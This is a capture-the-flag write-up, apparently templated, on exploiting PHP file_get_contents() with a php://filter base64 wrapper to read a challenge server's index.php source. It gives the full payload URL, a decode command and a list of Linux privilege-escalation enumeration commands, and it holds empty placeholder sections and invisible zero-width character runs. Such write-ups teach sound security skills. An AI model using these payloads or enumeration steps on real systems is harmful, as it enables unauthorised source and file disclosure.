file_get_contents SSRF

Platform: Web Kids20 | Category: Web | Type: Challenge | Difficulty: Easy | OS: NA | Author: D3v0o0Nu11 | Date: 2026-03-09 | Status: Solved Techniques: base64_source_read, php_filter_wrapper, ssrf_source_disclosure

Summary

PHP SSRF with file_get_contents function.

Recon

Port scan

nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn

Enumeration highlights

• Event: web-kids20 | ID: 20260309_web_kids20_ssrf_fgc
• Tags: ssrf, lfi, php, file_get_contents, php_filter
• Indicators: PHP file_get_contents function, URL parameter for file/resource loading, php:// wrapper support
• Source: 20260309_web_kids20_ssrf_fgc.md

Foothold

Vulnerability / Misconfiguration

1. Base64_source_read
2. Php_filter_wrapper
3. Ssrf_source_disclosure

<command>

Exploitation

• See original writeup content for detailed exploitation.

Privilege Escalation

Enumeration

sudo -l
find / -perm -4000 2>/dev/null
getcap -r / 2>/dev/null
cat /etc/crontab
ps aux

Exploitation

1. N/A for challenge-type writeup; see exploitation above.
2. Flag obtained via challenge solve.

<command>

Flags

Key Takeaways / Lessons

• base64_source_read
• php_filter_wrapper
• ssrf_source_disclosure
• Tags: ssrf, lfi, php, file_get_contents, php_filter

Original Writeup

<details><summary>Click to expand original content</summary>

Description

PHP SSRF with file_get_contents function.

URL: https://advweb3.spb.ctf.su/

Analysis

The web application uses the PHP file_get_contents() function to load resources by URL. This function supports various PHP stream wrappers, including php://filter, which allows reading PHP file source code.

The flag is located in the $flag variable inside the source code at /var/www/html/index.php.

Solution

1. Identified that the application uses file_get_contents() to load resources
2. Used PHP filter wrapper to read the source code in base64: ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

php://filter/convert.base64-encode/resource=/var/www/html/index.php

1. Decoded the received base64:

echo "PD9waHAKJGZsYWcgPSAic3BiY3RmezE0M2YxMDQ0YjIyODgxMmI4YWQwNTA3MzUwNzI0ZWQ3fSI7Ci4uLg==" | base64 -d

1. Found the flag in the $flag variable in the decoded source code

Full payload URL:

https://advweb3.spb.ctf.su/?url=php://filter/convert.base64-encode/resource=/var/www/html/index.php

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

</details>

---

Auto-tracked: saved to WriteUps; run /xesor-revise to fold lessons into XESXor_Methodology.md.

signed by XESXOR